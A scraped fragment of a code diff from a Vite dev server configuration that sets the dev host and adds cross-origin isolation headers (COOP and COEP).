host: process.env.VITE_DEV_HOST || 'localhost',
|
||||||
headers: {
|
headers: {
|
||||||
'Cross-Origin-Opener-Policy': 'same-origin',
|
'Cross-Origin-Opener-Policy': 'same-origin',
|
||||||
'Cross-Origin-Embedder-Policy': 'require-corp',
|
'Cross-Origin-Embedder-Policy': 'require-corp',
|
||||||
|
|||||||
Reference in New Issue
Block a user